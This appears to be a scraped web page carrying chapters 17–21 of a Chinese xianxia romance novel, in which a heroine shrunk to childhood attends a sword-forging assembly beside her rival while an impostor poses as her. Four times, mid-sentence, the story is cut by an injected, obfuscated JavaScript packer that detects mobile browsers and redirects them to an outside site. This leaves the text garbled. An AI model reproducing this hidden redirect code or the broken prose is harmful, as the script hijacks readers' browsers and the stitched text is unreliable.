糜月环顾地瞧了瞧,程令飞和夏沥都要去弟子席位,她自然不能和他们坐一起,于是提着裙摆,快步跑到谢无恙身边的蒲团处坐下。 她第一次见谢无恙穿玄色衣袍,越衬得他墨发如绸,肤质冷白如玉,比之以往穿白衣的清冷之感,多了几分深沉持重,渊渟岳峙的气质,简称腹黑大魔王的气质。 糜月挺满意她挑的颜色款式,小声嘀咕:“黑心莲就该穿黑色,穿白色也白不到哪里去……” “你说什么?” 谢无恙偏头看她,小姑娘总喜欢嘴里嘀嘀咕咕的,吐字含糊又说不清楚。 “我说,我还没吃早膳呢,肚子饿了。” “嗯,桌子有点心,先垫一垫,若是不够,我让人去膳堂现做送来。” 矮案上摆着各色精美的糕点、坚果和各类新鲜的水果。 谢无恙说着把桌上一盘她喜欢吃的糕点,不动声色地换到她面前来。 糜月上手拿了一块糕点啃着,殊不知她方一坐下,就引来数道热切的目光。 谢无恙走时,小姑娘还睡得正熟,谢无恙便想着让她多睡一会儿。直到这会子快开始了,才让程令飞过去叫她来。 因为此时,在场所有人都看到一个四五岁的小团子姗姗来迟,怀里抱着一只雪白毛绒的兔子,哒哒哒地跑到观赏位置最佳的座位上,一屁股坐在东极剑尊的旁边,然后像个小仓鼠一样坐下就开始吃东西。 糜月捧着一块糕点,一边啃一边看向四周。 好多人啊。 有许多女修眼睛泛光,满含崇拜地看向她……身边的谢无恙,而在眼神扫过她时,流露出遗憾失望的神色。 失望……失望个什么? 难道,嫌她长得不够可爱吗? 还有相当一部分修士则直勾勾地盯着她,眼神复杂。 糜月定睛一瞧,这些人怎么大部分都是她曾经得罪过的仇家? 她险些被糕点噎住,这确定是铸剑大会?不是她的仇家开会? 不过这些仇家中,竟然还夹杂着几个老熟人。 坐在她斜对面的,身穿青黎色长衫,背着一把长琴、气质文弱的年轻男修,是弦音宗少主江蘅。 他幼时也在无涯学宫修习过,算是糜月和谢无恙的同窗,加上隐剑宗和弦音宗关系不错,江蘅会来,糜月倒是不奇怪。 不过为什么这货也能来? 糜月惊讶地瞪着一个穿着烧包的妃红色长袍,正就着侍女的手喝着小酒、笑得一脸荡漾的男修。 正是她的好闺友,合欢宗宗主唐玉容。 合欢宗的名声可比烬花宫还差,名门正派的修士都耻于和他们打交道。 怎么还能来铸剑大会? 难道这家伙背叛了他俩的友谊,投靠隐剑宗了?不然,总不能是隐剑宗发请帖请他们来的吧? 糜月很是生气,她本来朋友就不多,好不容易有个臭味相投的,竟然还偷偷倒向了敌宗的大旗! 真他喵的没骨气! 糜月偷偷剜了唐玉容好几眼,而后者只顾着喝酒,手中悠闲地摇着折扇,扇风把他的发丝扬成风流帅气的弧度,迷得好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220822|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女修朝他暗送秋波,压根没注意到一个小豆丁发射出来的眼刀。 江蘅许是听到了近日的传闻,在糜月一落坐在谢无恙身边的时候,就注意到她了。 投向她的眼神从震惊诧异,再到揣摩不解,再到了然于胸,再到意味深长…… 糜月看着他脸上变幻十足的表情,心里有点子心虚。 这人怎么回事?看她的眼神怪怪的,不会是认出她来了吧?不能吧? 掌门纪通和几位长老的座位同样安排在中央位置,司徒杉和玄机子前些日子刚打了一架,此时见面,二人都有些面和心不和。 “司徒长老,你辈分高,你先坐吧。”玄机子干笑。 “玄机子长老,你架子多大呀,还是你先坐吧。”司徒杉皮笑肉不笑。 二人因为一个更靠近掌门的座位,假模假式地谦让半天,突然窜出一道黑影,云松鹤长老一个屁股敦地就坐下了,还奇怪地看着他们:“你们站着干嘛,都坐啊。” “……” 两个长老彼此冷哼一声,分别在云松鹤左右落座。 纪通对自家长老们很无奈,这俩人年龄加起来都超千岁了,怎么还跟四岁幼童似的。 不过说起幼童……纪通的视线落在啃糕点的糜月身上,这还是第一次他见到师弟领回来的小姑娘。 他近日没少听到弟子们议论,有说这孩子神似谢无恙的,也有说这孩子长得不像的。 依他看小姑娘还太小,五官都没长开,当真看不出什么像不像。 不过小姑娘生得的确漂亮出众,乌发雪肤,杏眼琼鼻,就像霜雪捏的,乖巧地坐在蒲团上,手里拿着糕点吃,发包上的雪绒流苏珠花轻晃,看着就可爱极了。 可以预见十几年后,修真界又会多一个大美人。 纪通和几个长老都默契地没有提起小姑娘,毕竟,私生子这种事说起来也不光彩,在场的众人也都顾及东道主的颜面,有好奇者不过也多打量了小姑娘几眼。 但到底是有嘴上不把门的。 离火宗掌门冷哼一声,看向纪通:“老夫前些日子在闭关,不曾理会外界之事,没想到这一出关,隐剑宗和烬花宫竟快要成亲家了?” “东极剑尊和烬花宫妖女喜得一女,再加上这铸剑大会,隐剑宗可谓是双喜临门啊,老夫恭喜恭喜!” 18.第 18 章 他嘴上说着恭喜,可是但凡长耳朵的人,都能听出他话中的嘲讽。 什么玩意? 糜月双眼睁得溜圆,还以为自己幻听了。 烬花宫妖女……这妖女说得该不会就是她吧? 还有什么“喜得一女”,在对上众人不约而同看向自己的目光时,糜月才反应过来,这“一女”说得不会也是她吧?? 她什么时候竟成了谢无恙和自己的私生女了? 这老头胡说八道些什么?! 糜月气得蹭地一下站起来,指着他的鼻子骂:“死老头,你可真是屎壳郎打哈气,口气真臭!大白天的,在这放什么屁!” 小姑娘看着年纪小,口齿伶俐清脆,话音一出,场面瞬间安静下来。 离火宗宗主都被骂愣了,怒目圆睁,捋胡须的手僵在半空。 众人忍得艰辛,不知谁先“噗”地一声没憋住,继而整个场子都哄堂大笑起来。 离火宗宗主面皮涨红,拂袖道:“老夫不与无知稚子计较!” 糜月暗暗咬牙,这老头曾经纵容手下欺负她门下弟子,被她知道后直接打上了门去,把这老头打得卧床半个月,顺便抢了他宗里的法宝,这老头就一直记恨到现在。 看来她上次下手还是太轻了。 “童言无忌,赵宗主,今日隐剑宗请大家来,是观赏铸剑大会,至于这其他私事,就不必赵宗主费心了。” 纪通皱起眉头,说出来的话尚带着几分客气,毕竟这么多宗门在场,他不愿闹得太僵。 而离火宗宗主似乎把客气当成了理所应当,愈发得寸进尺:“我可听说那妖女已经有大半个月没有踏出烬花宫了,多半是已经抛夫弃女,死遁无踪,” 他转而对谢无恙道,耐人寻味道,“东极剑尊,你可要擦亮眼睛,别被那妖女给蒙骗了。” 糜月还想再说话,被一道灵气压着坐了回来。 “赵宗主如此多言,想必是膳食不合胃口,还是多喝点酒吧。” 谢无恙面色如常,似并不见动怒,衣袖轻抬,矮案上装满酒液的杯盏便径直朝着赵宗主飞去。 后者伸手欲接,但那酒盏上裹挟的灵气霸道刚劲,让他的虎口一震,一时竟没接住,酒盏撞上他的胸口,酒水泼湿了他半个身子。 一旁的唐玉容见状,欠兮兮地取笑道:“赵宗主,莫非真是年事已高,怎么连酒杯都拿不稳了?” 糜月见状差点鼓起掌来,这酒泼得好,泼得妙,就应该泼在他的脸上,给他洗洗脸漱漱口! 赵宗主攥着酒杯,脸色很难看。 东极剑尊的修为更精进了,怕是已经到了半步渡劫。 他掂量半晌,还没有那个胆气和谢无恙翻脸,于是仰头把酒盏中剩余的酒水喝完,将这口气忍了下来。 唐玉容跟着举杯饮酒,眼神扫过眉眼清冷谢无恙,和他身边伶牙俐齿的小姑娘。 有点意思。 这铸剑大会,他还真来对了。 有侍从给谢无恙送来新的酒具,而后者正蹙眉看着糜月,低声问她:“你方才说的屎壳……那些粗话,是哪里学的?” “唔……就是偶然间听旁人说起过的。” 糜月支吾敷衍道,她方才一时生气没忍住,不小心露出了点真面目,乖巧幼崽的形象摇摇欲坠。 不过外面竟然有这样的谣言,谢无恙肯定也膈应得气死了,这个赵宗主真是一张口就成功得罪了所有的人。 谢无恙仔细想想,小姑娘近日只和程令飞和夏沥走得近,那样的话不可能是夏沥教的,那便只有程令飞了。 以后得少让月月和他一起玩。 此时坐在弟子席位里的程令飞,丝毫不知自己背了一口大锅。 “我说的又没错,那老头他就是在乱说,你什么时候成了我的……爹爹了?”糜月余怒未消地小声抱怨。 “嗯,是他信口胡言,我不是你爹爹。”谢无恙平静地承认。 他抬手从果盘里拿过一枚荔枝,洁净如玉的手指剥去棕红色的外壳,露出里面同样晶莹如玉的果肉:“不必理会他们。” 有了离火宗这个出头鸟,再也没人敢提及近日流传甚广的那桩谣言。 纪通说了些场面的官话,意图盖过这个小插曲,每届的铸剑大会,他都要说上这么一套,词儿都没怎么改过。 与此同时,谢无恙把剥好的荔枝递到小姑娘面前,糜月已经习惯了他的服侍和投食,拿过张嘴咬了一口,就咬到了硬硬的果核。 她张嘴就往外吐,被后者眼疾手快地接住。 “没有去核。”糜月不满地皱起小眉毛。 “下次知道了。” 谢无恙轻轻点头,将果核放入一旁的空盘里,随即用竹纹丝帕不紧不慢地擦去指腹上残留的荔枝汁水:“所以你现在可以仔细看看,周围坐得这些人里,可有你的爹爹?” 在隐剑宗的盛邀下,几乎所有门派的年轻才俊今日都聚集在此处了,连合欢宗都来了。 谢无恙不信,这样还揪不出那人是谁。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14228989|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……?” 糜月哪里能想到还有这出。 她环顾周遭各门各派,似乎觉得把这个屎盆子扣在谁头上都不太好。 于是搪塞地说:“人太多了,看不过来。” “没关系,慢慢看。” 谢无恙见她一脸不知所措,于是抬手指了指江蘅的方向:“是他吗?” “……” 糜月连忙摇头:“不是,不是!” 江蘅在幼时就是个跟在她屁股后面的跟班兼跑腿,她给他当爹还差不多。 “那是他吗?” 糜月又顺着谢无恙的方向看过去,看到唐玉容没个正形歪坐着的身影,当下更无语了。 唐玉容习得是双修功法,玩得这么花,在外面有几个私生子她都不清楚,但怎么就能扯到她身上啊。 “你刚才看了他好几眼,难道不认识?” 谢无恙嗓音依旧温和,糜月后背直冒冷汗。 “真的不认识……” 这人感知也太敏锐了,她方才只不过瞪了唐玉容几眼,就被他察觉了吗? 糜月不懂谢无恙为何如此致力于找她的爹爹,忽然间一个福临心至。 他不会也听信了那谣言,把她当成了她自己的女儿了罢? 她下意识地摸了摸额头上的烬花纹,不对,或许从一开始,他在溪边捡到她的时候,他就认出了这是宫主嫡系的烬花纹。 合着他一直以为变小的自己,是她糜月的女儿? 糜月忽然就醒悟了。 难怪,他当初这么轻易地就把自己带回宗门,如今想来,是打算把她当成人质,逼“糜月”现身。也难怪,他起初会一直问她娘亲的下落,现在又趁着铸剑大会,想找到她爹爹是谁。 原来是想把他们“一家三口”一网打尽! 这厮心机可真够深的! 纪通啰嗦完祝场词,环顾一圈,发现送了请帖的门派就只有烬花宫没到场了。 这也在他的意料之内。他们俩宗积怨太深,他们不送请帖,烬花宫会带人来找茬闹事,他们主动送了请帖,烬花宫也只会觉得他们没安好心,是场鸿门宴,反而是不会来的。 纪通清清嗓子,正要宣布铸剑大会开始,忽然看到数百道的身影由远及近,御风踏云而来,声势浩荡,各色艳丽鲜妍的裙摆如同朵朵绽放的鲜花,铺满映染了湛蓝的天边,继而又如同天降花雨,翩然落下。 伴着一道清丽高昂的女声通传:“烬花宫宫主驾到!” 满座哗然。 19.第 19 章 “烬花宫宫主驾到——” 通报声足足响了三遍,在场众人听到“烬花宫”这三字时,无不齐齐变色。 “烬花宫的人真的来了!” “那妖女还真的敢来?” “搞这么大阵仗,到底是真来赴宴,还是又来砸场子的?” 谢无恙在听到通传声时,正捏着杯盏的手蓦地收紧了。 糜月懵了,这搞得又是哪一出? 她起初以为是哪个胆肥的小门派,敢冒充烬花宫的名号招摇撞骗,直到她看见了廖红叶和几位副宫主。 而走在最前方、被众人簇拥着的女子,身子曼妙,随着婀娜的莲步,裙摆如碧波般晃动,发饰和佩环发出悦耳的轻响,脸上带着半个面纱,只露出一双顾盼生辉的美目,眼尾上翘地勾着,妩媚多姿。 乍一看,的确很像她。 像到糜月都开始怀疑,难道自己还有个流落在外的双胞胎姐妹? 在看到“糜月”款款走近的侧颜时,谢无恙收紧的手指放松下来,双眼有些微凉地眯起,低语一句:“她不是。” 糜月又震惊了,偏头瞅他两眼。 你小子行啊,眼睛这么毒? 但旁人就没有那么毒辣的眼力,俨然被这个假糜月给唬到了。 离火宗宗主率先拍案而起:“好你个妖女,竟然又敢来铸剑大会闹事,这次诸位宗主都在,定不会叫你猖狂!” “谁说我是来闹事的?我是收到了隐剑宗的请帖,特来赴宴观会的。” “糜月”莲步款款地走到那空闲的矮桌前,施施然坐下来,瞥了他一眼,阴阳怪气道,“赵宗主好大的火气,看来上次受的内伤养好了?” “哼,老夫上次是大意了,才着了你的道!” 赵宗主站起来,指着她怒骂:“你若识相的,就快快把我宗法宝归还,否则别怪我赵某人不客气!” “法宝?什么法宝?” “糜月”摸着下巴,努力回忆了下,恍然:“哦,是不是那几把破刀,已经被我们宫……宫中的弟子融了,做成了铁锅,那铁锅你还要吗?” “你!” 赵宗主闻言两眼一黑,那可是他们传宗的宝刀啊,竟然被拿去融了铁锅,是可忍孰不可忍,他要跟这妖女拼了!! 当下气得脸涨成了猪肝色,抬手便要祭出随身法宝。 “赵宗主,且慢!” 纪通也没想到“糜月”真的会来,几个长老的脸色也有些惊疑不定,都十分怀疑和警惕她此行前来的目的。 眼见“糜月”从容地在席间坐下,带来的弟子们都安分地站在不远处,没有要动手的意思。 纪通这才迟迟开口,主持大局:“你跟烬花宫的恩怨,我纪某不便插手,不过今日我请大家来是为了铸剑大会,来者皆是客,赵宗主若执意要起冲突,那便是打我们隐剑宗的脸面!” 纪通脸色也不太好看了。 他想好好办个铸剑大会,怎么这么难呢,一个个的都不让他省心。 旁边有和赵宗主相熟的掌门,也在低声劝他:“隐剑宗竟然给烬花宫送请帖,更说明那谣言是真,那妖女如今和东极剑尊有了一腿,我们更吃罪不起啊,还是先忍一忍,等大会结束之后,我同你去找那妖女要说法!” 在场人都没想到烬花宫还真得来了,那谣言的可信度便又可靠了三分。 赵宗主原本听说,糜月已经半个月不曾露面,心里笃定她不会在此处现身,才敢大放厥词,谁能料想这主还真不远千里,带着这么多弟子从西境跑来了东洲。 此时听了友人的话,赵宗主理智回拢,也有些后悔方才的莽撞。 他们离火宗跟烬花宫结下的梁子,实在不宜在隐剑宗的地盘上动手。 赵宗主黑着脸坐回座位,仰头喝酒,不再吭声。 听见那女子有些相熟的声音,糜月确认了,是副宫主薛紫烟。 在十二副宫主里面,只有她的身形和自己最为相似。 糜月看着薛紫烟没骨头似地往椅背上一靠,翘着兰花指轻扶额头,旁边还有副宫主们在帮她扇扇子,撑凉伞,看得她嘴角抽搐。 不是,她平时真的有这么做作吗? 听她方才的话,糜月有些明白薛紫烟为何会假冒自己前来,原来竟是隐剑宗主动给他们发了请帖。 敌宗发来请帖,她身为宫主若不去,便是露了怯,可偏偏她人又不在,便用了这么个冒险的法子…… 这怕是副宫主们共同想出来的主意。 在看见副宫主们的第一眼,糜月就十分羞耻地捂住了自己的包子脸,一度都想钻到桌子下面把自己藏起来。 “怎么了?”谢无恙发现她的异样,低声询问。 “没事……荔枝吃多了,有点撑。” 糜月有气无力地闷声道,她把月饼放在桌案上,压低脑袋,试图把脸躲在月饼后面。 她今天就该在屋里睡懒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14240175|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉,瞎凑什么热闹啊。 “……” 谢无恙将剩下的几颗荔枝拿到月饼跟前,月饼闻见香气,低头狂吃起来。 没人注意到他眼底一闪而过的沉郁之色。 烬花宫竟然能使出找人假扮宫主的馊主意。 看来,她是真的失踪了…… 烬花宫的座位恰好就在谢无恙的对面,廖红叶站在“糜月”的身后,看到对面的“小糜月”,眼里闪过不可置信的震惊,握着扇柄的手都在微微发抖。 “糜月”的目光在扫过那小姑娘时,亦是明显顿了片刻,但很快就收回了目光,没有暴露太多。 糜月自闭了一会儿,觉得此举就像个自欺欺人的鸵鸟。 算了,事已至此,她变成小孩的事是瞒不住他们了,索性坐直了身子,任由她们打量。 此次铸剑大会,其他宗门都是只有掌门、长老们前来,或者带着得力的亲传弟子们过来开眼界,就只有烬花宫浩浩汤汤地带了数百个弟子过来。 乍一看,还真的像来闹事的。 隐剑宗没有准备那么多座位,这些烬花宫弟子如今站在稍远些的地方,和隐剑宗的弟子们站在一块。 隐剑宗弟子们原本正襟危站,正等着掌门宣布铸剑大会开始,没想到来了这么一群不速之客。 烬花宫女子们腰背挺直,安静地站成一长排,一阵阵花香似的脂粉气顺着风飘过来,勾得隐剑宗弟子们心旌神摇。 “真稀奇,这些烬花宫的人当真不是来闹事的?” “她们身上擦了什么,好香啊。” “屏住呼吸,别闻,有毒!” “胡说,哪里有毒了。” “会乱道心!” 程令飞也在低声同夏沥说话:“那女子就是烬花宫主?小不点的娘亲?看着挺年轻的,可惜怎么戴着面纱,看不见脸啊……” 他早在琼山时,就听店小二吹嘘过,烬花宫主样貌有多么人间绝色,今日好不容易得见,可惜却看不见真容。 “嘶——师姐,你踩我干什么?” 程令飞忽然感觉脚背上一阵剧痛,当下嗷了一嗓子,弯腰揉着左脚,变成了金鸡独立。 夏沥懒懒开口:“哦,刚刚有只苍蝇,太吵了。” “那你告诉我一声啊,我的脚趾……” “大会要开始了,别分心。” 夏沥打断他,果然她一说完,纪通便宣布铸剑大会正式开始。 20.第 20 章 弟子们按照顺序上场,纷纷前往在中央的空地前,从储物袋里拿出自己煅剑用的熔炉、模具和各类材料,开始现场铸剑。 一字排开的熔炉宛如张着血盆大口的巨兽,炉中熊熊燃烧的火焰似要将天边映红,橘红色的火舌舔舐着铸剑的模具,不时有火星喷溅而出。 弟子们各个神情专注,在火光的映照下,额头闪烁着晶莹的汗珠,用精准的力道挥动铁锤敲击剑胚,辅以灵气冲刷控制成型,一下下的锤击声如同战场上的擂鼓。 铸剑的过程漫长而精细,只要疏忽一分,便会前功尽弃,既考验弟子对灵气的把控,又考验心志。 且隐剑宗一直信奉,剑修最好的灵剑一定是由自己亲手锻造出来,所以才有铸剑大会这项传统。 整个铸剑大会现场火光冲天,声音鼎沸,隐隐弥漫着烟火与金属的味道,倒成了一道靓丽特殊的风景线。 众人原本放在烬花宫身上的注意力,一时被这热火朝天的铸剑景象吸引。 “听说东极剑尊那把无为剑,当年也是在铸剑大会上亲手锻造出来的,当时那剑投放进神龙鼎时,漫天彩光大作,还引来了祥云呢。” “这批铸剑的弟子中,有两位掌门亲传弟子,说不定又会有神兵出世呢……” 两位掌门亲传弟子说得自然是夏沥和程令飞。 糜月听到周围人的议论,心想夏沥倒不用担心,倒是程令飞那令人发指的雕工和巴掌大的转星木,能不翻车就算是幸运了。 纪通在烬花宫人到场后,便在时不时地留意“糜月”和谢无恙。 他偷看了半天,心里有些纳闷,怎么感觉烬花宫主和师弟……不太相熟的样子,连眼神交流都没有。 孩子都有了,居然还像陌生人似的,纪通摸着下巴猜测,难道是因为他们彼此都不想承认这段过往,所以在故意避嫌? 那就好说了,他还以为烬花宫是来抢孩子的。 直到弟子们开始动手铸剑,纪通才把注意力重新放回在大会上。 夏沥和程令飞都是他亲手带出来的徒弟,被他寄予厚望。这次铸出来的剑将会是他们的本命剑,而剑相当于剑修的第二条命,能铸造出什么品质的本命剑,也意味着他们的修炼之路能走多远。 要是烬花宫敢在此时闹事,他就是为了两个亲传徒弟,也不会善罢甘休。 正如糜月所想,此时扮做她本人的女子,正是副宫主薛紫烟。 她的身材年纪与糜月最相近,外加沈灵淇帮她画了一套完美的糜月仿妆,戴着面纱,完全可以以假乱真。 薛紫烟表面看着淡定,心下其实虚得很,这种狐假虎威的事,她也是第一次干啊,尤其还是在这么多门派面前假扮宫主,要是被识破了,可怎么收场? 副宫主们轮番给她做思想工作,让她不要紧张,只要她化好妆戴上面纱,往那一坐,什么都不用做,最重要的是来给宫主撑场子。 还说在所有的副宫主里,只有她能胜任这项艰巨的任务,这么重要的任务,也唯有交给她才能放心。 把她捧得迷迷糊糊,不知道怎得就答应了下来。 她问廖红叶,要是露馅了,要怎么办? 廖红叶只说了宫主常说的五个字:“打不过就跑。” 薛紫烟想着这五字真理,宛如吃了一颗定心丸,于是用上了毕生的演技模仿糜月平日里的行为举止。 看到所有人都被骗了过去,此时都在全神贯注地观赏大会,薛紫烟心里刚松了口气,就听到隔壁座位的唐玉容同她搭话。 “阿月,你怎么也来这儿了,这群剑修铸剑有什么可看的,实在不像你的作风啊。” 唐玉容偏着头倾近她,一双风情摇曳的桃花眼里藏着疑惑和探究。 薛紫烟一紧张,学着糜月平日对他的态度,扬了扬下巴:“你能来,我为什么不能来?” 唐玉容啧了一声,用折扇遮住薄唇,压低嗓音道:“我这是帮你探听敌情来了,你放心,我是绝对不会背叛你,和这些名门正派为伍的!” “……那、那就好。”薛紫烟煞有其事地点头道。 “阿月,你今日这声音怎么听着有些哑啊?”唐玉容摇着折扇,目露关心之色。 薛紫烟咳了两声,遮掩道:“咳,近日涮锅子吃多了上火了……” 容貌易仿,这嗓音却不易模仿,她只能装作是身体不适。 “还有你这脸上的面纱,又是什么新潮的造型?” 薛紫烟正琢磨着该怎么解释,唐玉容紧接着一脸了然道:“我懂,是不是上火脸上长痘痘了?怎么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14250140|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早跟我说啊,我之前送你的养颜修容膏你没用?”他从袖中拿出一只小玉瓶推给她,“拿去,抹抹就能祛痘消肿,一点疤痕都不会留,别跟我客气,合欢宗出品,必属精品!” “……谢谢。” 薛紫烟把小玉瓶,划拉进储物袋里,想着以后交给宫主。 “你居然会说谢谢?你是不是……” 唐玉容一脸震惊,坐直了身子,打量她的眼神伴着些许狐疑。 薛紫烟意识到犯错了,慌乱之下,顿时秀眉一拧,一拍桌子:“我嗓子不舒服,你能不能别跟我说话了?闭嘴!” 唐玉容闻言露出“这才对味了”的表情,语气十分欠打:“阿月,数月不见,你竟对我如此冷淡,我真是好伤心啊。” 眼睛里却是笑盈盈的,丝毫不见伤心之色。 薛紫烟明白了,此人大概有被骂受虐倾向,难怪跟宫主关系如此之好。 她被他喋喋不休得心烦,侧过身去,不想再搭理他,没想到又来一个。 “糜月,你快跟我说说,你和谢无恙的事儿,是真的还是假的?坐在那边的小姑娘真是你俩的闺女?她长得跟你小时候简直一模一样啊。” 江蘅原本和她隔了一个座位,正巧旁边的那宗掌门不愿和她这个声名狼藉的妖女挨着坐,于是江蘅便和那人主动换了座位,低声同她八卦起来。 薛紫烟皱眉看着面前的年轻又面生的男修,平日在宫主身边似乎没见过他。 “……你谁。” 江蘅狠狠一愣:“虽说我这些年被我爹关在百花谷,苦练音律,未曾出来走动,但你怎么能不记得我了?” 他显得很委屈,又有点着急,掰着手指头和她算:“小时候在无涯学宫,每年的春试和冬考,谢无恙不肯帮你作弊,是我冒着被先生竹板炖肉的风险,帮你传纸条作弊的事,你都忘了?” “还有你把同窗打得鼻青脸肿,卧床不起,先生追究,你推我出去抗包的事,你也忘了?” “还有那年桐花试炼……” 细数完桩桩件件,末了,江蘅叹了一口气,看她的眼神格外谴责幽怨:“虽说往事如烟,若这些都忘了,你、你也太没良心了吧!” 无意间吃到陈年旧瓜的薛紫烟:“……” 宫主威武。 21.第 21 章 薛紫烟实在不清楚宫主幼时发生的事,不知该如何回答,又怕再说错话漏了陷。 廖师姐也没告诉她,这大会里还有宫主的熟人,真是难为她了。 薛紫烟紧张之下,决定以不变应万变,不动声色地瞟他一眼,果断道:“你也闭嘴。” 江蘅:“……” 糜月并不知薛紫烟这边的情况,她的注意力正完全被会场上的景象吸引。 弟子们的铁锤抡得如火如荼,有些进度快的弟子们已经将剑胚锤炼出了形状。 与此同时,几十个侍从搬来一只青铜大鼎,那只鼎足有一丈高,两丈宽,制式古朴,要十几个人同时抬起才能搬动,一看就是一件价值连城的宝物。 更吸引众人目光的是,那鼎身上竟然雕刻缠绕着一条五爪蛟龙,那蛟龙怒目圆睁,脚踩祥云,连每一片鳞甲都雕刻得精美细致,日光在鳞甲上流转,闪烁着令人心悸的光彩,仿佛蕴藏着真正的龙魂,随时准备破鼎而出,震撼天地。 糜月如同发现了新大陆,顿时来了精神,指着那青铜鼎问谢无恙:“那是什么?” “那是神龙鼎。”谢无恙道。 神龙鼎……这法宝名字还真是够霸气土味。 谢无恙见她好奇,遂解释道:“这鼎是我宗镇宗之宝,弟子们铸成剑后,须投放鼎中,被神鼎认可者,才算是铸剑完成。” 糜月若有所思,这鼎竟是隐剑宗镇宗之宝,这么说来,这鼎年份悠久,且大有来历。 秘宫口诀里提到的“蛟龙吞月”,会不会跟这只鼎有关啊? 她觉得很有可能,这鼎上面如此精致的蛟龙雕工,怎么看都比后山那块破烂的蛟龙石雕靠谱多了。 程令飞和夏沥此时都在全神贯注地铸剑,程令飞额角青筋暴起,汗水把后背全都浸透了,沿着颌角往下滴。 夏沥的鼻尖也都是汗水,她属于较为纤细的身材,此时手臂线条紧绷,爆发出肉眼可见的力量感,打铁溅出的火星比她旁边九尺高的汉子要强烈数倍。 糜月看见程令飞掏出那块在琼山买的转星木,他听从了夏沥的话,自知雕工不好,所以没有再花功夫在雕刻上,只把那块转星木切割打磨成剑柄的形状,再与铸造好的剑刃衔接成了一体。 夏沥那边也进行到了融合剑柄的最后一步,她手中的刻刀娴熟地翻动。 为了在大会上能铸造一把完美的本命剑,许多弟子会提前数月甚至一两年,就开始准备铸造材料,设计自己擅长顺手的剑形,练习铸剑之法。 整个铸剑的过程并不枯燥,相反很具有观赏性,隐剑宗也在趁此机会像各大宗门展示自家弟子们的实力。 很快,就有第一个弟子铸好了剑,只见他双手托举着刚亲手铸出来的长剑,神色恭谨又紧张地走到了那座青铜鼎旁。 他高举双手,用灵气将那剑缓缓送上神龙鼎的鼎口,长剑无风自转,仿佛鼎口中有什么东西在吸着那长剑不断地靠近。那长剑不断旋转着往鼎口下沉,直到彻底没入消失。 糜月隐隐听到“咕嘟”一声,仿佛人吞咽食物的声响,接着从鼎口处冒出一小缕的黑烟。 “失败了……” “可惜啊。” 众人遗憾摇头。 不过每次能通过神龙鼎认可的灵剑很少,这小弟子平日里修炼天赋并不出众,又第一个急着来尝试,失败也是意料之中的事。 “怎么会……” 那小弟子脸色惨败如土,似是不相信自己这么快就被淘汰了,连带着铸剑的材料都打了水瓢。 小弟子垂头丧气地回去了,紧接着又一个弟子拿着铸好的剑,前来投鼎。 然而结果同出一辙,神龙鼎将长剑吞吃进去,只吐出一口带着黑烟的嗝。 青铜鼎一连吃了几十把剑,糜月越发肯定,这口鼎里面别有洞天,不然怎么能吃下这么多的剑? 得找个机会,好好研究一下那只鼎,糜月心道。 日程过半,夏沥和程令飞几乎同时铸造完剑,俩人一同前往神龙鼎前,程令飞心中很没谱,忐忑地对夏沥说:“师姐你先吧。” 夏沥没多言,毫不犹豫地上前,祭出手中的灵剑。灵剑在她的操控下,飞到神龙鼎的上方,缓缓地旋转着。 糜月“咦”了一声:“夏沥姐姐的这把剑不错。” 谢无恙偏头,意外地挑了下眉:“你还懂剑?” “不懂,看着漂亮,剑光比其他的剑都亮。” 她一出手,糜月就发觉了这把剑的不同之处,她虽然不懂剑,但总能分辨出法宝的好坏,这把剑的剑光凌冽,带着让人畏于直视的寒芒微光,剑身上似乎还雕有北斗七星的纹路,瞧着就是一把锋锐的好剑。 谢无恙对她的“亮剑说”不置可否。 夏沥平时习剑就很用功,也时常会来请教他剑道上的困惑,能有此成就,谢无恙并不意外。 谢无恙的视线仍不动声色地扫过对面的江蘅和唐玉容,所有人在看到“糜月”现身时的反应,都被他尽收眼底,有些人目露惊艳和好奇,有些人满脸厌恶和痛恨,唯有他二人和糜月相处自然,还在低声说话,一眼便是旧相识。 